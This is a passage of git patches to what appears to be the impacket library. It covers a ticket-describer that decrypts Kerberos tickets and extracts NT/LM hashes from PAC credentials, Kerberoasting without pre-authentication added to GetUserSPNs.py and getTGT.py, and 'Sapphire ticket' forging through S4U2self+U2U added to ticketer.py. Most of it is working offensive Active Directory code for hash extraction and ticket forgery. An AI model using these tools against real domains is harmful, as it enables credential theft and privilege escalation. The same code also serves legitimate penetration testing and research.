parsed_data = {} + parsed_data['Flags'] = f"({flags}) {', '.join(attr_flags)}" + parsed_data['UPN'] = UpnName + parsed_data['DNS Domain Name'] = DnsName + + # Depending on the flag supplied, additional data may be supplied + if Upn_Dns_Flags.S_SidSamSupplied.name in attr_flags: + # SamAccountName and Sid is also supplied + upn = pac.UPN_DNS_INFO_FULL(data) + # Sam parsing + SamNameLength = upn['SamNameLength'] + SamNameOffset = upn['SamNameOffset'] + SamName = data[SamNameOffset:SamNameOffset+SamNameLength].decode('utf-16-le') + + # Sid parsing + SidLength = upn['SidLength'] + SidOffset = upn['SidOffset'] + Sid = LDAP_SID(data[SidOffset:SidOffset+SidLength]) # Using LDAP_SID instead of RPC_SID (https://github.com/SecureAuthCorp/impacket/issues/1386) + + parsed_data["SamAccountName"] = SamName + parsed_data["UserSid"] = Sid.formatCanonical() + parsed_tuPAC.append({"UpnDns": parsed_data}) + + elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') + parsed_tuPAC.append({"ServerChecksum": parsed_data}) + + elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: + signatureData = pac.PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name + # signatureData.dump() + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') + parsed_tuPAC.append({"KDCChecksum": parsed_data}) + + elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: + # Parsing 2.6.1 PAC_CREDENTIAL_INFO + credential_info = pac.PAC_CREDENTIAL_INFO(data) + parsed_credential_info = {} + parsed_credential_info['Version'] = "(0x%x) %d" % (credential_info.fields['Version'], credential_info.fields['Version']) + credinfo_enctype = credential_info.fields['EncryptionType'] + parsed_credential_info['Encryption Type'] = "(0x%x) %s" % (credinfo_enctype, constants.EncryptionTypes(credential_info.fields['EncryptionType']).name) + if not args.asrep_key: + parsed_credential_info['Encryption Type'] = "" + logging.error('No ASREP key supplied, cannot decrypt PAC Credentials') + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + else: + parsed_tuPAC.append({"Credential Info": parsed_credential_info}) + newCipher = _enctype_table[credinfo_enctype] + key = Key(credinfo_enctype, unhexlify(args.asrep_key)) + plain_credential_data = newCipher.decrypt(key, 16, credential_info.fields['SerializedData']) + type1 = TypeSerialization1(plain_credential_data) + newdata = plain_credential_data[len(type1) + 4:] + # Parsing 2.6.2 PAC_CREDENTIAL_DATA + credential_data = pac.PAC_CREDENTIAL_DATA(newdata) + parsed_credential_data = {} + parsed_credential_data[' Credential Count'] = credential_data['CredentialCount'] + parsed_tuPAC.append({" Credential Data": parsed_credential_data}) + # Parsing (one or many) 2.6.3 SECPKG_SUPPLEMENTAL_CRED + for credential in credential_data['Credentials']: + parsed_secpkg_supplemental_cred = {} + parsed_secpkg_supplemental_cred[' Package Name'] = credential['PackageName'] + parsed_secpkg_supplemental_cred[' Credential Size'] = credential['CredentialSize'] + parsed_tuPAC.append({" SecPkg Credentials": parsed_secpkg_supplemental_cred}) + # Parsing 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL + ntlm_supplemental_cred = pac.NTLM_SUPPLEMENTAL_CREDENTIAL(b''.join(credential['Credentials'])) + parsed_ntlm_supplemental_cred = {} + parsed_ntlm_supplemental_cred[' Version'] = ntlm_supplemental_cred['Version'] + parsed_ntlm_supplemental_cred[' Flags'] = ntlm_supplemental_cred['Flags'] + parsed_ntlm_supplemental_cred[' LmPasword'] = hexlify(ntlm_supplemental_cred['LmPassword']).decode('utf-8') + parsed_ntlm_supplemental_cred[' NtPasword'] = hexlify(ntlm_supplemental_cred['NtPassword']).decode('utf-8') + parsed_tuPAC.append({" NTLM Credentials": parsed_ntlm_supplemental_cred}) + + elif infoBuffer['ulType'] == pac.PAC_DELEGATION_INFO: + delegationInfo = pac.S4U_DELEGATION_INFO(data) + parsed_data = {} + parsed_data['S4U2proxyTarget'] = delegationInfo['S4U2proxyTarget'] + parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] + parsed_data['S4UTransitedServices'] = delegationInfo['S4UTransitedServices'].decode('utf-8') + parsed_tuPAC.append({"DelegationInfo": parsed_data}) + elif infoBuffer['ulType'] == pac.PAC_ATTRIBUTES_INFO: + # Parsing 2.14 PAC_ATTRIBUTES_INFO + attributeInfo = pac.PAC_ATTRIBUTE_INFO(data) + flags = attributeInfo['Flags'] + attr_flags = [] + for flag_lib in Attributes_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) + + parsed_data = { + 'Flags': f"({flags}) {', '.join(attr_flags)}" + } + parsed_tuPAC.append({"Attributes Info": parsed_data}) + elif infoBuffer['ulType'] == pac.PAC_REQUESTOR_INFO: + # Parsing 2.15 PAC_REQUESTOR + requestorInfo = pac.PAC_REQUESTOR(data) + parsed_data = { + 'UserSid': requestorInfo['UserSid'].formatCanonical() + } + parsed_tuPAC.append({"Requestor Info": parsed_data}) + else: + logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) + + buff = buff[len(infoBuffer):] + return parsed_tuPAC + + +def generate_kerberos_keys(args): + # copypasta from krbrelayx.py + # Store Kerberos keys + keys = {} + if args.rc4: + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.rc4) + if args.aes: + if len(args.aes) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aes) + else: + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aes) + ekeys = {} + for kt, key in keys.items(): + ekeys[kt] = Key(kt, key) + + allciphers = [ + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) + ] + + # Calculate Kerberos keys from specified password/salt + if args.password or args.hex_pass: + if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos + if args.user.endswith('$'): + args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) + else: + args.salt = "%s%s" % (args.domain.upper(), args.user) + for cipher in allciphers: + if cipher == 23 and args.hex_pass: + # RC4 calculation is done manually for raw passwords + md4 = MD4.new() + md4.update(unhexlify(args.hex_pass)) + ekeys[cipher] = Key(cipher, md4.digest()) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + elif args.salt: + # Do conversion magic for raw passwords + if args.hex_pass: + rawsecret = unhexlify(args.hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') + else: + # If not raw, it was specified from the command line, assume it's not UTF-16 + rawsecret = args.password + ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + else: + logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher)) + else: + logging.debug('No password (-p/--password or -hp/--hex_pass supplied, skipping Kerberos keys calculation') + return ekeys + + +def kerberoast_from_ccache(decodedTGS, spn, username, domain): + try: + if not domain: + domain = decodedTGS['ticket']['realm']._value.upper() + else: + domain = domain.upper() + + if not username: + username = "USER" + + username = username.rstrip('$') + + # Copy-pasta from GestUserSPNs.py + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.debug('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + return entry + except Exception as e: + raise + logging.debug("Not able to parse ticket: %s" % e) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC.') + + parser.add_argument('ticket', action='store', help='Path to ticket.ccache') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + + ticket_decryption = parser.add_argument_group() + ticket_decryption.title = 'Ticket decryption credentials (optional)' + ticket_decryption.description = 'Tickets carry a set of information encrypted by one of the target service account\'s Kerberos keys.' \ + '(example: if the ticket is for user:"john" for service:"cifs/service.domain.local", you need to supply credentials or keys ' \ + 'of the service account who owns SPN "cifs/service.domain.local")' + ticket_decryption.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='Cleartext password of the service account') + ticket_decryption.add_argument('-hp', '--hex-password', dest='hex_pass', action="store", metavar="HEXPASSWORD", help='Hex password of the service account') + ticket_decryption.add_argument('-u', '--user', action="store", metavar="USER", help='Name of the service account') + ticket_decryption.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='FQDN Domain') + ticket_decryption.add_argument('-s', '--salt', action="store", metavar="SALT", help='Salt for keys calculation (DOMAIN.LOCALSomeuser for users, DOMAIN.LOCALhostsomemachine.domain.local for machines)') + ticket_decryption.add_argument('--rc4', action="store", metavar="RC4", help='RC4 KEY (i.e. NT hash)') + ticket_decryption.add_argument('--aes', action="store", metavar="HEXKEY", help='AES128 or AES256 key') + + credential_info = parser.add_argument_group() + credential_info.title = 'PAC Credentials decryption material' + credential_info.description = '[MS-PAC] section 2.6 (PAC Credentials) describes an element that is used to send credentials for alternate security protocols to the client during initial logon.' \ + 'This PAC credentials is typically used when PKINIT is conducted for pre-authentication. This structure contains LM and NT hashes.' \ + 'The information is encrypted using the AS reply key. Attack primitive known as UnPAC-the-Hash. (https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)' + credential_info.add_argument('--asrep-key', action="store", metavar="HEXKEY", help='AS reply key for PAC Credentials decryption') + + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + + if not args.salt: + if args.user and not args.domain: + parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt') + elif not args.user and args.domain: + parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt') + + if args.domain and not '.' in args.domain: + parser.error('Domain supplied in -d/--domain should be FQDN') + + return args + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + try: + parse_ccache(args) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() From c3ff33b39fe067e738d5625ce174d3d10f7a4b79 Mon Sep 17 00:00:00 2001 From: Charlie Bromberg <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 5 Oct 2023 00:23:51 +0200 Subject: [PATCH 06/13] Support for Kerberoasting without pre-authentication and ST request through AS-REQ (#1413) * Support for ASREPKerberoast * Fixing undefined name 'tgs' * Typo on the argument, -preauth changed to -no-preauth * Fixing args handling, -usersfile is needed if -no-preauth * Handling case when service is None * Update kerberosv5.py * adding param to getKerberosTGT to return or raise depending on context * specifying serverName param in getKerberosTGT calls * specifying serverName param in getKerberosTGT calls --- examples/GetUserSPNs.py | 83 +++++++++++++++++++++++++------------ examples/getTGT.py | 13 ++++-- impacket/krb5/kerberosv5.py | 37 ++++++++++------- 3 files changed, 89 insertions(+), 44 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 72427fa01b..8b0bc17dad 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -43,7 +43,7 @@ from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants -from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.asn1 import TGS_REP, AS_REP from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5.types import Principal @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' + self.__no_preauth = cmdLineOptions.no_preauth self.__outputFileName = cmdLineOptions.outputfile self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey @@ -173,9 +174,11 @@ def getTGT(self): return TGT - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - + def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None): + if self.__no_preauth: + decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0] + else: + decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { @@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): logging.debug('About to save TGS for %s' % username) ccache = CCache() try: - ccache.fromTGS(tgs, oldSessionKey, sessionKey) + ccache.fromTGS(ticket, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e)) @@ -428,31 +431,52 @@ def request_users_file_TGSs(self): self.request_multiple_TGSs(usernames) def request_multiple_TGSs(self, usernames): - # Get a TGT for the current user - TGT = self.getTGT() - if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None - - for username in usernames: - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value - principalName.components = [username] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, - self.__kdcIP, - TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) - except Exception as e: - logging.debug("Exception:", exc_info=True) - logging.error('Principal: %s - %s' % (username, str(e))) - - if fd is not None: - fd.close() + + if self.__no_preauth: + for username in usernames: + try: + no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal, + password=self.__password, + domain=self.__domain, + lmhash=(self.__lmhash), + nthash=(self.__nthash), + aesKey=self.__aesKey, + kdcHost=self.__kdcHost, + serverName=username, + kerberoast_no_preauth=True) + self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() + else: + # Get a TGT for the current user + TGT = self.getTGT() + + for username in usernames: + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value + principalName.components = [username] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcIP, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() # Process command-line arguments. @@ -466,6 +490,8 @@ def request_multiple_TGSs(self, usernames): parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for Kerberoasting across trusts.') + parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket' + ' through the AS') parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. ' 'May cause huge memory consumption / errors on large domains.') parser.add_argument('-usersfile', help='File with user per line to test') @@ -510,6 +536,11 @@ def request_multiple_TGSs(self, usernames): # Init the example's logger theme logger.init(options.ts) + if options.no_preauth and options.usersfile is None: + logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain' + ' a list of SPNs and/or sAMAccountNames to Kerberoast.') + sys.exit(1) + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path diff --git a/examples/getTGT.py b/examples/getTGT.py index dfe8b61ed4..62ce619de7 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options): self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__service = options.service if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey): def run(self): userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, - self.__kdcHost) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName, + password = self.__password, + domain = self.__domain, + lmhash = unhexlify(self.__lmhash), + nthash = unhexlify(self.__nthash), + aesKey = self.__aesKey, + kdcHost = self.__kdcHost, + serverName = self.__service) self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': @@ -80,6 +86,7 @@ def run(self): '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ') if len(sys.argv)==1: parser.print_help() diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 4a8173f308..7821fdf77e 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost, port=88): return r -def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None): +def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None, kerberoast_no_preauth=False): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): @@ -119,8 +119,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH asReq = AS_REQ() domain = domain.upper() + if serverName is None: serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + else: + serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC @@ -190,10 +193,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) - else: - raise + else: + raise else: - raise + raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set @@ -345,7 +348,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) - raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) + if kerberoast_no_preauth: + LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)) + return tgt, None, key, None + else: + raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] @@ -567,10 +574,10 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) - nthash = compute_nthash(password) + nthash = compute_nthash(password) continue else: - raise + raise else: raise @@ -594,22 +601,22 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) - nthash = compute_nthash(password) + nthash = compute_nthash(password) else: - raise + raise else: - raise + raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] + sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP - blob = SPNEGO_NegTokenInit() + blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] @@ -618,7 +625,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) - + # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 @@ -638,7 +645,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) - + authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 @@ -697,7 +704,7 @@ def __init__( self, error = 0, packet=0): self.packet = packet if packet != 0: self.error = self.packet['error-code'] - + def getErrorCode( self ): return self.error From 3760dfc639ac928b4dca657cfa2b543e156cbd64 Mon Sep 17 00:00:00 2001 From: Charlie Bromberg <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 5 Oct 2023 00:24:32 +0200 Subject: [PATCH 07/13] [ticketer.py] Sapphire tickets (#1411) * Adding -impersonate flag to ingest S4U2self+U2U TGT * Functional version * Commenting out duration customization for sapphire * Fixes #1605 * Adding AD_IF_RELEVANT reference * Fixing undefined tgt session key and wrong cname for impersonation * Adding missing and ignored params --- examples/ticketer.py | 547 ++++++++++++++++++++++++++++++++----------- 1 file changed, 414 insertions(+), 133 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index 1fa7df419a..c41a0c06e5 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -50,10 +50,12 @@ import logging import random import string +import struct import sys from calendar import timegm from time import strptime from binascii import unhexlify +from six import b from pyasn1.codec.der import encoder, decoder from pyasn1.type.univ import noValue @@ -64,7 +66,7 @@ from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD from impacket.examples import logger -from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart +from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \ PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ KERB_NON_KERB_CKSUM_SALT @@ -78,6 +80,12 @@ from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5 import constants, pac +from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1 +from impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.types import Ticket +from impacket.winregistry import hexdump class TICKETER: def __init__(self, target, password, domain, options): @@ -85,6 +93,8 @@ def __init__(self, target, password, domain, options): self.__target = target self.__domain = domain self.__options = options + self.__tgt = None + self.__tgt_session_key = None if options.spn: spn = options.spn.split('/') self.__service = spn[0] @@ -327,6 +337,7 @@ def createBasicTicket(self): tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) + self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: @@ -377,7 +388,7 @@ def createBasicTicket(self): return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue - kdcRep['cname']['name-string'][0] = self.__target + kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') @@ -445,152 +456,376 @@ def createBasicTicket(self): return kdcRep, pacInfos + + def getKerberosS4U2SelfU2U(self): + tgt = self.__tgt + cipher = self.__tgt_cipher + sessionKey = self.__tgt_session_key + kdcHost = self.__options.dc_ip + + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('> 32 - - # Let's adjust username and other data - validationInfo['Data']['LogonDomainName'] = self.__domain.upper() - validationInfo['Data']['EffectiveName'] = self.__target - # Our Golden Well-known groups! :) - groups = self.__options.groups.split(',') - validationInfo['Data']['GroupIds'] = list() - validationInfo['Data']['GroupCount'] = len(groups) - - for group in groups: - groupMembership = GROUP_MEMBERSHIP() - groupId = NDRULONG() - groupId['Data'] = int(group) - groupMembership['RelativeId'] = groupId - groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED - validationInfo['Data']['GroupIds'].append(groupMembership) - - # Let's add the extraSid - if self.__options.extra_sid is not None: - extrasids = self.__options.extra_sid.split(',') - if validationInfo['Data']['SidCount'] == 0: - # Let's be sure user's flag specify we have extra sids. - validationInfo['Data']['UserFlags'] |= 0x20 - validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() - for extrasid in extrasids: - validationInfo['Data']['SidCount'] += 1 - - sidRecord = 